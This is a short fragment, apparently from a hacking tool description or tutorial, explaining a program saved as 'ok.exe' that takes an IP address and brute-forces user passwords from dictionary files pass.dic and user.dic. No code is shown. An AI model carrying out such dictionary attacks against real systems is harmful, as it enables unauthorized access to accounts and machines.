Save as: ok.exe Description: After entering an IP, use the dictionary file d:\pass.dic to brute-force the user password in d:\user.dic until the values in the file are taken completely. %%i is the user name; %1 is the input IP address (default).
|